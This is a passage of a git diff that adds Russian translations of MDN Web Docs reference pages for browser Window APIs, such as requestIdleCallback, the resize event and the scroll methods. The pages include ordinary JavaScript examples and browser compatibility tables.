+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td></td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="See_also" name="See_also">Смотрите также </h2>
+
+<ul>
+ <li>{{domxref("window.alert", "alert")}}</li>
+ <li>{{domxref("window.confirm", "confirm")}}</li>
+</ul>
diff --git a/files/ru/web/api/window/requestidlecallback/index.html b/files/ru/web/api/window/requestidlecallback/index.html
new file mode 100644
index 0000000000..45907d1f5c
--- /dev/null
+++ b/files/ru/web/api/window/requestidlecallback/index.html
@@ -0,0 +1,121 @@
+---
+title: window.requestIdleCallback()
+slug: Web/API/Window/requestIdleCallback
+translation_of: Web/API/Window/requestIdleCallback
+---
+<div>{{APIRef("HTML DOM")}}{{SeeCompatTable}}</div>
+
+<p>Метод <code><strong>window.requestIdleCallback()</strong></code> ставит в очередь функцию, которая будет вызываться во время периодов простоя браузера. Это позволяет разработчикам выполнять фоновую и низкоприоритетную работу в цикле основного события, без воздействия такими критично долгими событиями, как анимация и обработка ввода. Функции, обычно, вызываются в порядке очереди "первый вошёл - первый вышел"; однако функции обратного вызова с заданными <code>timeout</code>, могут быть вызваны не по порядку, если необходимо запустить их до истечения таймаута.</p>
+
+<p>Вы можете вызвать <code>requestIdleCallback()</code> внутри callback-функции в режиме ожидания для планирования другого callback'а, который произойдёт не раньше, чем следующий проход через цикл событий.</p>
+
+<div class="note">Опция <code>timeout</code> настоятельно рекомендована для работы, в противном случае может пройти несколько секунд прежде, чем будет вызван обратный вызов.</div>
+
+<h2 id="Syntax" name="Syntax">Синтаксис</h2>
+
+<pre class="syntaxbox"><code>var <em>handle</em> = <em>window</em>.requestIdleCallback(<em>callback</em>[, <em>options</em>])</code></pre>
+
+<h3 id="Returns" name="Returns">Возвращаемое значение</h3>
+
+<p>Возвращает ID, который может быть использован для отмены callback'а, передав значение в метод {{domxref("window.cancelIdleCallback()")}}.</p>
+
+<h3 id="Parameters" name="Parameters">Параметры</h3>
+
+<dl>
+ <dt><code>callback</code></dt>
+ <dd>Ссылка на функцию, что должна быть вызвана в ближайшем будущем, когда цикл событий в режиме ожидания. Функции передаётся объект {{domxref("IdleDeadline")}} описывающий общее количество доступного времени и был ли выполнен callback, потому что таймаут истёк.</dd>
+ <dt><code>options</code> {{optional_inline}}</dt>
+ <dd>Содержит опциональные параметры конфигурации. На текущий момент, определено только одно свойство:
+ <ul>
+  <li><code>timeout</code>: Если задан <code>timeout</code> и имеет положительное значение, а callback ещё не был вызван по времени наступления миллисекундного <em>timeout</em>, callback будет вызван в течение следующего периода простоя, даже если это может привести к негативному влиянию на производительность.</li>
+ </ul>
+ </dd>
+</dl>
+
+<h2 id="Example" name="Example">Пример</h2>
+
+<p>Посмотрите наш <a href="/en-US/docs/Web/API/Background_Tasks_API#Example">готовый пример</a> в статье <a href="/en-US/docs/Web/API/Background_Tasks_API">Cooperative Scheduling of Background Tasks API</a>.</p>
+
+<h2 id="Specifications" name="Specifications">Спецификация</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th>Спецификация</th>
+   <th>Статус</th>
+   <th>Комментарий</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('Background Tasks')}}</td>
+   <td>{{Spec2('Background Tasks')}}</td>
+   <td>Initial definition.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility" name="Browser_compatibility">Совместимость с браузерами</h2>
+
+<p>{{CompatibilityTable}}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Chrome</th>
+   <th>Edge</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari (WebKit)</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatChrome(47)}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatGeckoDesktop(55)}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatOpera(34)}}</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Android Webview</th>
+   <th>Chrome for Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>Firefox OS</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatChrome(47)}}</td>
+   <td>{{CompatChrome(47)}}</td>
+   <td>{{CompatGeckoMobile(55)}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<p><code>requestIdleCallback()</code> включён в Firefox 53 но по умолчанию отключён. По умолчанию включён, начиная с Firefox 55.</p>
+
+<h2 id="Смотрите_также">Смотрите также</h2>
+
+<ul>
+ <li>{{domxref("window.cancelIdleCallback()")}}</li>
+ <li>{{domxref("IdleDeadline")}}</li>
+ <li>{{domxref("window.setTimeout()")}}</li>
+ <li>{{domxref("window.setInterval()")}}</li>
+</ul>
diff --git a/files/ru/web/api/window/resize_event/index.html b/files/ru/web/api/window/resize_event/index.html
new file mode 100644
index 0000000000..6fdbfba4a8
--- /dev/null
+++ b/files/ru/web/api/window/resize_event/index.html
@@ -0,0 +1,192 @@
+---
+title: resize
+slug: Web/API/Window/resize_event
+tags:
+  - Веб
+  - Ссылки
+  - события
+translation_of: Web/API/Window/resize_event
+---
+<p>{{APIRef}}</p>
+
+<p>Событие <strong><code>resize</code></strong> срабатывает при изменении размера представления документа (окна).</p>
+
+<p>В некоторых более ранних браузерах можно было зарегистрировать обработчики событий <code>resize</code> на любом HTML-элементе. По-прежнему можно установить атрибуты <code>onresize</code> или использовать {{domxref("EventTarget.addEventListener", "addEventListener()")}} чтобы установить обработчик для любого элемента. Однако, событие <code>resize</code>  запускается только на объекте {{domxref("Window", "window")}}. Только обработчики, зарегистрированные на объекте window, будут получать события <code>resize</code> .</p>
+
+<p>Существует предложение разрешить всем элементам получать уведомления об изменениях размера. См. раздел <a href="https://wicg.github.io/ResizeObserver/">Resize Observer</a>, чтобы ознакомиться с проектом документа, и <a href="https://github.com/WICG/ResizeObserver/issues">GitHub вопросы</a>, чтобы ознакомиться с текущими обсуждениями.</p>
+
+<h2 id="Основная_информация">Основная информация</h2>
+
+<dl>
+ <dt style="float: left; text-align: right; width: 120px;">Спецификаци</dt>
+ <dd style="margin: 0 0 0 120px;"><a class="external" href="http://www.w3.org/TR/DOM-Level-3-Events/#event-type-resize">DOM L3</a>, <a href="http://www.w3.org/TR/cssom-view/#resizing-viewports">CSSOM View</a></dd>
+ <dt style="float: left; text-align: right; width: 120px;">Интерфейс</dt>
+ <dd style="margin: 0 0 0 120px;">UIEvent</dd>
+ <dt style="float: left; text-align: right; width: 120px;">Bubbles</dt>
+ <dd style="margin: 0 0 0 120px;">Нет</dd>
+ <dt style="float: left; text-align: right; width: 120px;">Отмена</dt>
+ <dd style="margin: 0 0 0 120px;">Нет</dd>
+ <dt style="float: left; text-align: right; width: 120px;">Цель</dt>
+ <dd style="margin: 0 0 0 120px;">вид по умолчанию (window)</dd>
+ <dt style="float: left; text-align: right; width: 120px;">Действие по умолчанию</dt>
+ <dd style="margin: 0 0 0 120px;">Нет</dd>
+</dl>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Property</th>
+   <th scope="col">Type</th>
+   <th scope="col">Description</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td><code>target</code> {{readonlyInline}}</td>
+   <td><a href="/en-US/docs/Web/API/EventTarget" title="EventTarget is an interface implemented by objects that can receive events and may have listeners for them."><code>EventTarget</code></a></td>
+   <td>The event target (the topmost target in the DOM tree).</td>
+  </tr>
+  <tr>
+   <td><code>type</code> {{readonlyInline}}</td>
+   <td><a href="/en-US/docs/Web/API/DOMString" title="DOMString is a UTF-16 String. As JavaScript already uses such strings, DOMString is mapped directly to a String."><code>DOMString</code></a></td>
+   <td>The type of event.</td>
+  </tr>
+  <tr>
+   <td><code>bubbles</code> {{readonlyInline}}</td>
+   <td><a href="/en-US/docs/Web/API/Boolean" title="The Boolean object is an object wrapper for a boolean value."><code>Boolean</code></a></td>
+   <td>Whether the event normally bubbles or not.</td>
+  </tr>
+  <tr>
+   <td><code>cancelable</code> {{readonlyInline}}</td>
+   <td><a href="/en-US/docs/Web/API/Boolean" title="The Boolean object is an object wrapper for a boolean value."><code>Boolean</code></a></td>
+   <td>Whether the event is cancellable or not.</td>
+  </tr>
+  <tr>
+   <td><code>view</code> {{readonlyInline}}</td>
+   <td><a class="new" href="/en-US/docs/Web/API/WindowProxy" rel="nofollow" title="The documentation about this has not yet been written; please consider contributing!"><code>WindowProxy</code></a></td>
+   <td><a href="/en-US/docs/Web/API/Document/defaultView" title="In browsers, document.defaultView returns the window object associated with a document, or null if none is available."><code>document.defaultView</code></a> (<code>window</code> of the document)</td>
+  </tr>
+  <tr>
+   <td><code>detail</code> {{readonlyInline}}</td>
+   <td><code>long</code> (<code>float</code>)</td>
+   <td>0.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Примеры">Примеры</h2>
+
+<p>Так как события изменения размера могут срабатывать с высокой скоростью, обработчик событий не должен выполнять дорогостоящие операции, такие как модификации DOM. Вместо этого рекомендуется регулировать событие, используя requestAnimationFrame, setTimeout или customEvent *, следующим образом:</p>
+
+<p><strong>* ВАЖНО:</strong> Обратите внимание, что для работы в IE11 необходимо, чтобы <a href="https://developer.mozilla.org/en-US/docs/Web/API/CustomEvent/CustomEvent#Polyfill">customEvent</a> заполнялся в функцию правильно.</p>
+
+<h3 id="requestAnimationFrame_customEvent">requestAnimationFrame + customEvent</h3>
+
+<pre class="brush: js">(function() {
+    var throttle = function(type, name, obj) {
+        obj = obj || window;
+        var running = false;
+        var func = function() {
+            if (running) { return; }
+            running = true;
+             requestAnimationFrame(function() {
+                obj.dispatchEvent(new CustomEvent(name));
+                running = false;
+            });
+        };
+        obj.addEventListener(type, func);
+    };
+
+    /* init - you can init any event */
+    throttle("resize", "optimizedResize");
+})();
+
+// handle event
+window.addEventListener("optimizedResize", function() {
+    console.log("Resource conscious resize callback!");
+});
+</pre>
+
+<h3 id="requestAnimationFrame">requestAnimationFrame</h3>
+
+<pre class="brush: js">var optimizedResize = (function() {
+
+    var callbacks = [],
+        running = false;
+
+    // fired on resize event
+    function resize() {
+
+        if (!running) {
+            running = true;
+
+            if (window.requestAnimationFrame) {
+                window.requestAnimationFrame(runCallbacks);
+            } else {
+                setTimeout(runCallbacks, 66);
+            }
+        }
+
+    }
+
+    // run the actual callbacks
+    function runCallbacks() {
+
+        callbacks.forEach(function(callback) {
+            callback();
+        });
+
+        running = false;
+    }
+
+    // adds callback to loop
+    function addCallback(callback) {
+
+        if (callback) {
+            callbacks.push(callback);
+        }
+
+    }
+
+    return {
+        // public method to add additional callback
+        add: function(callback) {
+            if (!callbacks.length) {
+                window.addEventListener('resize', resize);
+            }
+            addCallback(callback);
+        }
+    }
+}());
+
+// start process
+optimizedResize.add(function() {
+    console.log('Resource conscious resize callback!')
+});
+</pre>
+
+<h3 id="setTimeout">setTimeout</h3>
+
+<pre class="brush: js">(function() {
+
+  window.addEventListener("resize", resizeThrottler, false);
+
+  var resizeTimeout;
+  function resizeThrottler() {
+    // ignore resize events as long as an actualResizeHandler execution is in the queue
+    if ( !resizeTimeout ) {
+      resizeTimeout = setTimeout(function() {
+        resizeTimeout = null;
+        actualResizeHandler();
+
+       // The actualResizeHandler will execute at a rate of 15fps
+       }, 66);
+    }
+  }
+
+  function actualResizeHandler() {
+    // handle the resize event
+    ...
+  }
+
+}());</pre>
diff --git a/files/ru/web/api/window/screen/index.html b/files/ru/web/api/window/screen/index.html
new file mode 100644
index 0000000000..5bf9a9b089
--- /dev/null
+++ b/files/ru/web/api/window/screen/index.html
@@ -0,0 +1,46 @@
+---
+title: Window.screen
+slug: Web/API/Window/screen
+translation_of: Web/API/Window/screen
+---
+<p>{{APIRef("CSSOM")}}</p>
+
+<p>Свойство <strong><code>screen</code></strong> объекта {{DOMxRef("Window")}} возвращает ссылку на экран обьекта, который содержит информацию об экране пользователя. Похожий по смыслу, объект <code style="font-style: normal; line-height: 1.5;">screen</code><span style="line-height: 1.5;">, который имплементирует интерфейс </span> <span style="line-height: 1.5;">{{DOMxRef("Screen")}} </span> <span style="line-height: 1.5;"> представляет собой совокупность свойств экрана пользователя.</span></p>
+
+<h2 id="Синтаксис">Синтаксис</h2>
+
+<pre class="syntaxbox">let <var>screenObj</var> = <var>window</var>.screen;</pre>
+
+<h2 id="Пример">Пример</h2>
+
+<pre class="brush: js;">if (screen.pixelDepth &lt; 8) {
+  // uиспользовать пониженную глубину пикселей
+} else {
+  // Использовать стандартную глубину пикселей(24)
+}
+</pre>
+
+<h2 id="Спецификации">Спецификации</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Состояние</th>
+   <th scope="col">Пояснение</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('CSSOM View', '#dom-window-screen', 'window.screen')}}</td>
+   <td>{{Spec2('CSSOM View')}}</td>
+   <td>Начальное определение</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Cовместимость_с_браузерами">Cовместимость с браузерами</h2>
+
+<div class="hidden">Таблица совместимости на этой странице была сгенерирована структурировщиком данных. Если вы хотите содействовать в проекте, то пожаулйста посетите <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a>  и отправьте pull запрос.</div>
+
+<p>{{Compat("api.Window.screen")}}</p>
diff --git a/files/ru/web/api/window/screenx/index.html b/files/ru/web/api/window/screenx/index.html
new file mode 100644
index 0000000000..ad30bf1e30
--- /dev/null
+++ b/files/ru/web/api/window/screenx/index.html
@@ -0,0 +1,97 @@
+---
+title: Window.screenX
+slug: Web/API/Window/screenX
+tags:
+  - API
+  - Property
+  - Read-only
+  - Reference
+  - Window
+  - screenX
+translation_of: Web/API/Window/screenX
+---
+<div>{{APIRef}}</div>
+
+<p>Свойство <code><strong>Window.screenX</strong></code> только для чтения возвращает горизонтальное расстояние в пикселях CSS левой границы окна просмотра браузера пользователя до левой части экрана.</p>
+
+<div class="blockIndicator note">
+<p><strong>Заметка</strong>: Псевдоним <code>screenX</code> был реализован во всех современных браузерах - {{domxref ("Window.screenLeft")}}. Первоначально это поддерживалось только в IE, но было введено повсеместно из-за популярности.</p>
+</div>
+
+<h2 id="Syntax" name="Syntax">Синтаксис</h2>
+
+<pre class="syntaxbox"><em>leftWindowPos</em> = window.screenX
+</pre>
+
+<h3 id="Возвращает">Возвращает</h3>
+
+<p>Число, равное количеству пикселей CSS от левого края окна просмотра браузера до левого края экрана.</p>
+
+<h2 id="Specifications" name="Specifications">Пример</h2>
+
+<p>В нашем примере <a href="https://mdn.github.io/dom-examples/screenleft-screentop/">screenleft-screentop</a> вы увидите холст, на котором нарисован круг. В этом примере мы используем {{domxref ("Window.screenLeft")}}/{{domxref ("Window.screenTop")}} плюс {{domxref("Window.requestAnimationFrame ()")}}, чтобы постоянно перерисовывать круг в том же физическом положении на экране, даже если позиция окна перемещается.</p>
+
+<pre class="brush: js">initialLeft = window.screenLeft + canvasElem.offsetLeft;
+initialTop = window.screenTop + canvasElem.offsetTop;
+
+function positionElem() {
+  let newLeft = window.screenLeft + canvasElem.offsetLeft;
+  let newTop = window.screenTop + canvasElem.offsetTop;
+
+  let leftUpdate = initialLeft - newLeft;
+  let topUpdate = initialTop - newTop;
+
+  ctx.fillStyle = 'rgb(0, 0, 0)';
+  ctx.fillRect(0, 0, width, height);
+  ctx.fillStyle = 'rgb(0, 0, 255)';
+  ctx.beginPath();
+  ctx.arc(leftUpdate + (width/2), topUpdate + (height/2) + 35, 50, degToRad(0), degToRad(360), false);
+  ctx.fill();
+
+  pElem.textContent = 'Window.screenLeft: ' + window.screenLeft + ', Window.screenTop: ' + window.screenTop;
+
+  window.requestAnimationFrame(positionElem);
+}
+
+window.requestAnimationFrame(positionElem);</pre>
+
+<p>Они работают точно так же, как <code>screenX</code> / <code>screenY</code>.</p>
+
+<p>Также в код мы включили фрагмент, который определяет, поддерживается ли <code>screenLeft</code>, и, если нет, заполняет поли в <code>screenLeft</code> / <code>screenTop</code>, используя <code>screenX</code> / <code>screenY</code>.</p>
+
+<pre class="brush: js">if(!window.screenLeft) {
+  window.screenLeft = window.screenX;
+  window.screenTop = window.screenY;
+}</pre>
+
+<h2 id="Specifications" name="Specifications">Спецификация</h2>
+
+<table class="standard-table" style="height: 49px; width: 1000px;">
+ <thead>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комментарий</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{ SpecName('CSSOM View', '#dom-window-screenx', 'Window.screenX') }}</td>
+   <td>{{ Spec2('CSSOM View') }}</td>
+   <td>Initial definition.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Совместимость_браузера">Совместимость браузера</h2>
+
+<div class="hidden">Таблица совместимости на этой странице генерируется из структурированных данных. Если вы хотите внести свой вклад в эти данные, просмотрите https://github.com/mdn/browser-compat-data и отправить нам pull request.</div>
+
+<p>{{Compat("api.Window.screenX")}}</p>
+
+<h2 id="Смотрите_также">Смотрите также</h2>
+
+<ul>
+ <li>{{domxref("window.screenLeft")}}</li>
+ <li>{{domxref("Window.screenY")}}</li>
+</ul>
diff --git a/files/ru/web/api/window/scroll/index.html b/files/ru/web/api/window/scroll/index.html
new file mode 100644
index 0000000000..ffa999921d
--- /dev/null
+++ b/files/ru/web/api/window/scroll/index.html
@@ -0,0 +1,37 @@
+---
+title: Window.scroll()
+slug: Web/API/Window/scroll
+translation_of: Web/API/Window/scroll
+---
+<div>{{APIRef}}</div>
+
+<p>Прокручивает страницу до указанного места.</p>
+
+<h2 id="Syntax" name="Syntax">Синтаксис</h2>
+
+<pre class="syntaxbox">window.scroll(<em>x-coord</em>,<em>y-coord</em>)
+</pre>
+
+<h3 id="Parameters" name="Parameters">Параметры</h3>
+
+<ul>
+ <li><code>x-coord</code> - это x-координата пикселя, который окажется в верхнем левом углу экрана.</li>
+ <li><code>y-coord</code>- это y-координата пикселя, который окажется в верхнем левом углу экрана.</li>
+</ul>
+
+<h2 id="Example" name="Example">Пример</h2>
+
+<pre class="brush:html;htmlScript:true;">&lt;!-- прокрутить до пикселя с y = 100 --&gt;
+
+&lt;button onClick="scroll(0, 100);"&gt;прокрутить&lt;/button&gt;
+</pre>
+
+<h2 id="Notes" name="Notes">Замечания</h2>
+
+<p><a href="/en-US/docs/DOM/window.scrollTo">window.scrollTo</a> имеет тот же самый эффект. Для того, чтобы прокрутить на некоторое количество пикселей относительно текущей позиции, используйте <a href="/en-US/docs/Window.scrollBy">window.scrollBy</a>. См. также <a href="/en-US/docs/Window.scrollByLines">window.scrollByLines</a>, <a href="/en-US/docs/Window.scrollByPages">window.scrollByPages</a>.</p>
+
+<h2 id="Specification" name="Specification">Спецификация</h2>
+
+<ul>
+ <li><a href="http://dev.w3.org/csswg/cssom-view/#dom-element-scrolloptions">CSSOM: scroll() Method</a></li>
+</ul>
diff --git a/files/ru/web/api/window/scrollby/index.html b/files/ru/web/api/window/scrollby/index.html
new file mode 100644
index 0000000000..bb1b2be60c
--- /dev/null
+++ b/files/ru/web/api/window/scrollby/index.html
@@ -0,0 +1,53 @@
+---
+title: Window.scrollBy()
+slug: Web/API/Window/scrollBy
+translation_of: Web/API/Window/scrollBy
+---
+<p>{{ APIRef() }}</p>
+
+<h2 id="Summary" name="Summary">Описание</h2>
+
+<p>Прокручивает документ на указанные величины.</p>
+
+<h2 id="Syntax" name="Syntax">Синтаксис</h2>
+
+<pre class="eval">window.scrollBy(<em>X</em>, <em>Y</em>);
+</pre>
+
+<h3 id="Parameters" name="Parameters">Параметры</h3>
+
+<ul>
+ <li><code>X</code> - смещение в пикселях по горизонтали.</li>
+ <li><code>Y</code> - смещение в пикселях по вертикали.</li>
+</ul>
+
+<p>Положительные значения приведут к прокрутке страницы вправо и вниз. Отрицательные координаты прокрутят страницу влево и вверх.</p>
+
+<h2 id="Example" name="Example">Пример</h2>
+
+<pre class="eval">// Прокрутка на один экран вертикально вниз.
+window.scrollBy(0, window.innerHeight);
+</pre>
+
+<h2 id="Notes" name="Notes">Примечания</h2>
+
+<p><a href="/en-US/docs/DOM/Window.scrollBy">window.scrollBy</a> прокручивает страницу на указанное количество пикселей, в то время как метод <a href="/en-US/docs/DOM/Window.scroll">window.scroll</a> указывает абсолютную позицию в документе, на которую надо сместиться. См. также <a href="/en-US/docs/DOM/Window.scrollByLines">window.scrollByLines</a>, <a href="/en-US/docs/DOM/Window.scrollByPages">window.scrollByPages</a></p>
+
+<h2 id="Specification" name="Specification">Спецификация</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комментарий</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{ SpecName('CSSOM View', '#dom-window-scrollby', 'window.scrollBy()') }}</td>
+   <td>{{ Spec2('CSSOM View') }}</td>
+   <td>Исходное определение.</td>
+  </tr>
+ </tbody>
+</table>
diff --git a/files/ru/web/api/window/scrollbylines/index.html b/files/ru/web/api/window/scrollbylines/index.html
new file mode 100644
index 0000000000..6f2c178a2b
--- /dev/null
+++ b/files/ru/web/api/window/scrollbylines/index.html
@@ -0,0 +1,46 @@
+---
+title: Window.scrollByLines()
+slug: Web/API/Window/scrollByLines
+translation_of: Web/API/Window/scrollByLines
+---
+<div>{{ ApiRef() }}</div>
+
+<div>
+<p id="comment_text_2">{{Non-standard_header}}</p>
+</div>
+
+<h2 id="Summary" name="Summary">Summary</h2>
+
+<p>Прокручивает документ на заданное число строк.</p>
+
+<h2 id="Syntax" name="Syntax">Syntax</h2>
+
+<pre class="syntaxbox">window.scrollByLines(<var>lines</var>)
+</pre>
+
+<h2 id="Parameters" name="Parameters">Parameters</h2>
+
+<ul>
+ <li><code>lines</code> — число линий, на которое надо прокрутить документ.</li>
+ <li><code>lines</code> может быть положительным или отрицательным целым числом.</li>
+</ul>
+
+<h2 id="Example" name="Example">Example</h2>
+
+<pre class="brush:html">&lt;!-- прокручивает страницу вниз на 5 линий. --&gt;
+&lt;button onclick="scrollByLines(5);"&gt;down 5 lines&lt;/button&gt;
+</pre>
+
+<pre class="brush:html">&lt;!-- прокручивает страницу вверх на 5 линий. --&gt;
+&lt;button onclick="scrollByLines(-5);"&gt;up 5 lines&lt;/button&gt;
+</pre>
+
+<h2 id="Specification" name="Specification">Specification</h2>
+
+<p id="comment_text_2">Не является частью спецификации</p>
+
+<h2 id="See_also" name="See_also">See also</h2>
+
+<ul>
+ <li>{{domxref("window.scrollBy")}}, {{domxref("window.scrollByPages")}}</li>
+</ul>
diff --git a/files/ru/web/api/window/scrollmaxx/index.html b/files/ru/web/api/window/scrollmaxx/index.html
new file mode 100644
index 0000000000..1f6ca6b1f2
--- /dev/null
+++ b/files/ru/web/api/window/scrollmaxx/index.html
@@ -0,0 +1,39 @@
+---
+title: Window.scrollMaxX
+slug: Web/API/Window/scrollMaxX
+translation_of: Web/API/Window/scrollMaxX
+---
+<div>{{APIRef}} {{Non-standard_header}}</div>
+
+<p>Свойство <code><strong>Window.scrollMaxX</strong></code> (только для чтения) возвращает максимальное количество пикселей в документе, которые могут быть прокручены по горизонтали.</p>
+
+<h2 id="Синтаксис">Синтаксис</h2>
+
+<pre class="syntaxbox"><em>xMax</em> = window.scrollMaxX
+</pre>
+
+<ul>
+ <li><code>xMax</code> количество пикселей.</li>
+</ul>
+
+<h2 id="Пример">Пример</h2>
+
+<pre class="brush:js">// Прокрутка к правому краю страницы
+let maxX = window.scrollMaxX;
+
+window.scrollTo(maxX, 0);
+</pre>
+
+<h2 id="Примечания">Примечания</h2>
+
+<p>Не используйте это свойство для получения ширины документа с помощью <a href="/en-US/docs/DOM/window.innerWidth" title="DOM/window.innerWidth">window.innerWidth</a> + window.scrollMaxX. Это не равнозначно всей ширине документа, потому что {{domxref("window.innerWidth")}} включает в себя ширину полосы прокрутки, таким образом результат будет включать себя ширину документа с шириной полосы прокрутки. Вместо этого используйте {{domxref("element.scrollWidth","document.body.scrollWidth")}}. Смотрите также {{domxref("window.scrollMaxY")}}.</p>
+
+<h2 id="Спецификации">Спецификации</h2>
+
+<p id="comment_text_2">Не является частью спецификации.</p>
+
+<h2 id="Совместимость_с_браузерами">Совместимость с браузерами</h2>
+
+
+
+<p>{{Compat("api.Window.scrollMaxX")}}</p>
diff --git a/files/ru/web/api/window/scrollmaxy/index.html b/files/ru/web/api/window/scrollmaxy/index.html
new file mode 100644
index 0000000000..1901e5162c
--- /dev/null
+++ b/files/ru/web/api/window/scrollmaxy/index.html
@@ -0,0 +1,42 @@
+---
+title: Window.scrollMaxY
+slug: Web/API/Window/scrollMaxY
+tags:
+  - API
+  - HTML DOM
+  - Window
+  - Свойство
+translation_of: Web/API/Window/scrollMaxY
+---
+<div>{{APIRef}} {{Non-standard_header}}</div>
+
+<p>Свойство <code><strong>Window.scrollMaxY</strong></code> возвращает максимальное число пикселей по вертикали, доступных для прокрутки в документе. Только для чтения.</p>
+
+<h2 id="Syntax" name="Syntax">Синтаксис</h2>
+
+<pre class="syntaxbox"><var>yMax</var> = window.scrollMaxY
+</pre>
+
+<ul>
+ <li><code>yMax</code> - число пикселей.</li>
+</ul>
+
+<h2 id="Example" name="Example">Пример</h2>
+
+<pre class="brush:js">// Пролистать в самый низ
+var maxY = window.scrollMaxY;
+
+window.scrollTo(0,maxY);
+</pre>
+
+<h2 id="Notes" name="Notes">Примечания </h2>
+
+<p>Не используйте это свойство для получения общей высоты документа, так как оно не равнозначно {{domxref("window.innerHeight")}} + window.scrollMaxY, потому что {{domxref("window.innerHeight")}} включает ещё ширину любой видимой горизонтальной полосы прокрутке. Вместо этого применяйте {{domxref("element.scrollHeight","document.body.scrollHeight")}}. Смотрите также {{domxref("window.scrollMaxX")}} и {{domxref("window.scrollTo")}}.</p>
+
+<h2 id="Specification" name="Specification">Спецификация</h2>
+
+<p>Не является частью какой-либо спецификации.</p>
+
+<h2 id="Совместимость_с_браузерами">Совместимость с браузерами</h2>
+
+<p>{{Compat("api.Window.scrollMaxY")}}</p>
diff --git a/files/ru/web/api/window/scrollto/index.html b/files/ru/web/api/window/scrollto/index.html
new file mode 100644
index 0000000000..30b3a8c73f
--- /dev/null
+++ b/files/ru/web/api/window/scrollto/index.html
@@ -0,0 +1,50 @@
+---
+title: Window.scrollTo()
+slug: Web/API/Window/scrollTo
+tags:
+  - Плавная прокрутка
+  - Плавный скролл
+translation_of: Web/API/Window/scrollTo
+---
+<div>{{ APIRef }}</div>
+
+<h2 id="Summary" name="Summary">Описание</h2>
+
+<p>Прокрутка документа до указанных координат.</p>
+
+<h2 id="Syntax" name="Syntax">Синтакс</h2>
+
+<pre class="syntaxbox"><code>window.scrollTo(<em>x-coord</em>, <em>y-coord</em>)
+window.scrollTo(<em>options</em>)</code></pre>
+
+<h3 id="Parameters" name="Parameters">Параметры</h3>
+
+<ul>
+ <li><code>x-coord</code> пиксель по горизонтальной оси документа, будет отображён вверху слева.</li>
+ <li><code>y-coord</code> пиксель по вертикальной оси документа, будет отображён вверху слева.</li>
+ <li><code>options</code> объект с тремя возможными параметрами:
+  <ul>
+   <li><code>top</code>, то же, что и <code>y-coord</code></li>
+   <li><code>left</code>, то же, что и <code>x-coord</code></li>
+   <li><code>behavior</code>, строка, содержащая либо <code>smooth</code>, <code>instant</code>, либо <code>auto</code>; по умолчанию <code>auto</code></li>
+  </ul>
+ </li>
+</ul>
+
+<h2 id="Example" name="Example">Пример</h2>
+
+<pre class="brush:js line-numbers  language-js"><code class="language-js">window<span class="punctuation token">.</span><span class="function token">scrollTo</span><span class="punctuation token">(</span> <span class="number token">0</span><span class="punctuation token">,</span> <span class="number token">1000</span> <span class="punctuation token">)</span><span class="punctuation token">;</span>
+
+<span class="comment token">// этот код меняет поведение прокрутки на "smooth"</span>
+window<span class="punctuation token">.</span><span class="function token">scrollTo</span><span class="punctuation token">(</span><span class="punctuation token">{</span>
+    top<span class="punctuation token">:</span> <span class="number token">1000</span><span class="punctuation token">,</span>
+    behavior<span class="punctuation token">:</span> <span class="string token">"smooth"</span>
+<span class="punctuation token">}</span><span class="punctuation token">)</span><span class="punctuation token">;</span></code></pre>
+
+<h2 id="Notes" name="Notes">Заметки</h2>
+
+<p>Эта функция выполняет то же, что и <a href="/en-US/docs/DOM/Window.scroll">window.scroll</a>. Остальные функции, связанные с прокруткой <a href="/en-US/docs/DOM/Window.scrollBy">window.scrollBy</a>, <a href="/en-US/docs/DOM/Window.scrollByLines">window.scrollByLines</a>, и <a href="/en-US/docs/DOM/Window.scrollByPages">window.scrollByPages</a>.</p>
+
+<h2 id="Specification" name="Specification">Спецификация</h2>
+
+<p>{{dom0}}</p>
diff --git a/files/ru/web/api/window/scrollx/index.html b/files/ru/web/api/window/scrollx/index.html
new file mode 100644
index 0000000000..79d7cc5091
--- /dev/null
+++ b/files/ru/web/api/window/scrollx/index.html
@@ -0,0 +1,156 @@
+---
+title: Window.scrollX
+slug: Web/API/Window/scrollX
+translation_of: Web/API/Window/scrollX
+---
+<div>{{ APIRef("CSSOM View") }}</div>
+
